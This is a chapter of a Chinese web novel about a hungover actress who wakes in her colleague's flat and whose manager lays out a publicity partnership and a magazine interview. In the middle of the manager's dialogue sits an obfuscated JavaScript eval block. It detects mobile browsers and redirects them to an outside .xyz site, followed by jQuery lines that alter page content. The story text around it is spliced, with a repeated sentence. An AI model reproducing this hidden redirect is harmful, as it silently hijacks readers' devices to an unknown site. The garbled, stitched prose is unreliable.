最先苏醒的是嗅觉。
一丝清甜的米香，混合着极淡的蜂蜜味道，若有若无地飘散在空气里，试图覆盖掉昨夜残留的酒气。
星野夜海是在一阵剧烈而熟悉的头痛中挣扎着恢复意识的。眼皮沉重得像被粘住，每一次心跳都仿佛敲打在太阳穴上，带来一阵阵钝痛。她花了点时间才辨认出头顶陌生的天花板轮廓，以及身上覆盖的、带着淡淡皂角清香的羽绒被——这不是她的被子。
记忆如同断续的黑白胶片，猛地闪回脑海：冰冷的清酒瓶、林光沉静的侧脸、自己失控的哭泣、那些关于巨额债务和欺骗的碎片化叙述、最后是……电脑屏幕的光，和一种令人安心的、规律的键盘敲击声……
她猛地从床上坐起！
动作太快，一阵眩晕和恶心瞬间袭来，让她不得不扶住额头，难受地闭紧了眼睛。几秒后，她才缓缓睁开眼，彻底看清了自己所处的环境——简洁、整齐，书桌上还放着亮着待机灯的笔记本电脑。
这是林光的房间。自己睡在了林光的床上。
这个认知让星野的脸颊瞬间烧了起来，混合着宿醉的难受和一种巨大的、迟来的羞耻感。她昨晚都干了些什么？抱着人哭得稀里哗啦？逼问对方的隐私？最后还霸占了别人的床？
她下意识地环顾四周，房间里醒着的只有她一个人。清晨的阳光透过窗帘缝隙，在地板上投下一道狭长的光带。
床头柜上，放着一杯水，摸上去是温的。杯子下面压着一张便利贴。
星野忍着头痛拿起它。上面是一行干净利落的字迹，一如写字的人：
「前辈：我大约五点多睡下。如需补觉，请自便。如需用餐，厨房有温着的粥。不要叫醒我。
——林光」
纸条的右下角还简单画了一个箭头，指向杯子的方向。
“勿扰为感”……真是客气又疏离的用词。但一杯温水，和温着的粥，却又在无声地诉说着另一种程度的细心。
星野握着那张便利贴，心情复杂得要命。她喝光了那杯温水，干渴刺痛的喉咙得到了一丝缓解。她轻手轻脚地下了床，尽量不发出任何声音，仿佛怕惊扰了一旁可能还在熟睡的人。
她推开卧室门，客厅的景象让她愣了一下。
昨晚的一片狼藉早已消失无踪。空酒瓶、餐盒、所有污渍都被清理干净了。地板光洁，茶几被擦拭得一尘不染，甚至连沙发上的靠垫都被摆放得整整齐齐。空气中只有淡淡的清洁剂味道和从厨房飘来的米香。
一切都恢复了秩序，仿佛昨夜那场疯狂的崩溃只是一场幻觉。
只有她依旧抽痛的额头和混沌的大脑，在固执地证明着那些真实发生过的眼泪和倾诉。
她蹑手蹑脚地回到林光的卧室门外，门紧闭着。她屏住呼吸，侧耳倾听，里面没有任何动静。
一种混合着愧疚、尴尬、感激和莫名无措的情绪包裹了她。她站在原地愣了几秒，最终决定听从纸条上的建议，先去厨房看看。
电饭煲亮着保温灯，打开盖子，里面是熬得软糯香稠的白粥。旁边的小碟子里放着几样清淡的小菜，还有一小罐蜂蜜。
星野默默地看着这一切，心里某个地方像是被这无声的、妥帖的照顾轻轻戳了一下。她盛了一碗粥，坐在异常安静的客厅里，小口小口地吃着。粥的温度恰到好处，温暖了她因为酒精而冰冷的胃，却也让她更加清晰地意识到，自己昨晚在这个比自己年纪小的后辈面前，是何等的失态。
“唉，感觉被看光了……”
米粒煲得颗颗软烂，星野很少在早上喝粥这种食物，进食带来的轻松没能持续多久。几乎是同时，公寓的门铃尖锐地响了起来，打破了清晨的宁静。
星野被吓了一跳，手里的勺子差点掉进碗里。她第一反应是惊慌地看向林光的卧室门——幸好，里面没有任何被惊动的迹象。她赶紧放下碗勺，几乎是踮着脚尖冲到玄关，透过猫眼向外看。
经纪人山倉幸子干练而略带严肃的脸出现在视野里。
星野的心猛地一沉。完了。是来兴师问罪的吧？因为昨天的失态？还是因为和加藤的事情有了新的麻烦？她手忙脚乱地整理了一下自己睡皱的睡衣和乱糟糟的头发，深吸一口气，打开了门。
“幸子小姐，早上好……”她的声音因为宿醉和紧张而有些沙哑。
山倉幸子穿着一身利落的西装套裙，一只手拿着一个厚厚的文件夹，另一只手提着两个高级超市的纸袋，里面装着新鲜的水果、酸奶和全麦面包。她锐利的目光快速扫过星野明显睡眠不足、带着宿醉痕迹的脸，眉头几不可察地蹙了一下，但又仿佛司空见惯。
““早上好，夜海。”幸子的语气平静无波，很自然地侧身进门，仿佛回自己家一样熟练地将纸袋放在玄关柜上，“打你电话没人接。给你带了点吃的，宿醉后吃这些会舒服点。”她锐利的目光快速扫过星野明显睡眠不足、带着宿醉痕迹的脸，以及异常整洁的客厅，眉头几不可察地动了一下——这显然不是酒醉后星野的风格。
她的视线随后精准地落在餐桌上那碗吃了一半的粥和旁边的小菜上，眼神微微缓和：“吃了就好。但光喝粥不行，袋子里有酸奶和新鲜水果，等下吃完。”
幸子径直走向开放式厨房，一边打开冰箱检查，一边用那种惯常的、不容置疑的语气说道：“牛奶明天到期，我给你处理了。鸡蛋也快没了，下午会有人补货过来。你常吃的那家bakery的可颂，我也让人一会儿送过来。”
她合上冰箱门，转身靠在料理台上，这才将目光重新投向惴惴不安的星野，语气转而带上了一种深沉的疲惫与严肃：“好了，现在来说说正事。媒体那边，暂时算是压下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403823|184388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去了。”
星野的心揪紧了，低下头。
幸子看着她，继续说道，声音不高，却每个字都砸在星野心上：“动用了我几乎所有的人脉和面子。加藤家那边很难缠，他们想把‘疑似恋情’直接操作成我们单方面的‘恶意炒作’，想彻底把你钉死。”
她顿了顿，目光如炬：“我告诉他们，Collector事务所的艺人，轮不到别人来审判。十二年，我带你十二年，你是什么样的人，我比谁都清楚。你不是为了那点热度就会不择手段的人。”
这句话像一把钥匙，瞬间打开了星野情绪的闸门。她的眼圈红了，声音哽咽：“幸子小姐……对不起……我又给你添了这么大的麻烦……我……”
“停。”幸子果断地打断她，抽了张纸巾递过去，“现在不是自责的时候。眼泪擦掉。我签下你的时候你才多大？这些年来，你惹的麻烦、掉的眼泪，哪一次不是我帮你收拾的？”这话听起来像责备，却透着一种“认命”般的亲密羁绊。
“但夜海，”她的语气变得极其沉重，“这次是最后一次了。我不能再看着你为了一段感情，把自己经营了这么多年的一切都赌上去，差点输得精光。你明白吗？”
星野用力点头。
幸子这才切入她此行的核心目的：“公司和我的态度很明确。否认到底，然后用新的、积极的焦点覆盖掉旧的。所以，你和井上光的‘营业’，不是可选项，是经过讨论的唯一救命方案。”她提到林光，语气稍微缓和，“那孩子我看着比同龄人稳重。和她捆绑，是目前对你伤害最小的方法。”
她从文件夹里抽出几份文件：“这就是公司与林光小姐签署‘营业’合约的核心目的。从今天开始，直到我通知结束，你们两位将是事务所主推的‘工作伙伴’及‘好友’关系。所有的公开互动，都必须服务于这个目标。”
“公司为你们争取到了一个更好的机会——《Stage&Rhythm》杂志的独家专访和内页拍摄。”
星野微微一怔。这本杂志在演艺和音乐交叉领域颇有分量，专注于舞台表演与音乐人的深度对话，格调很高。
“主题已经敲定：‘从舞台到鼓点：表演与节奏的跨界对话’。这非常贴合你们两人现在的身份——顶尖的舞台剧演员和实力派乐队鼓手。”幸子解释道，手指点着企划书上的关键点。“采访的内容包括但不限于有些相关的舞台专业问题、关于你们俩相遇与为彼此带来的启发，以及你们之间的惺惺相惜的默契与欣赏，这些请在采访之前做好功课。”
“…尤其是谈到‘表演’和‘节奏’时，你必须给出有见地、有内容的回答…”山倉幸子严厉的话语在安静的客厅里显得格外清晰。
就在这时，“咔哒”一声轻微的开门声打断了她的训示。
客厅里的两人同时循声望去。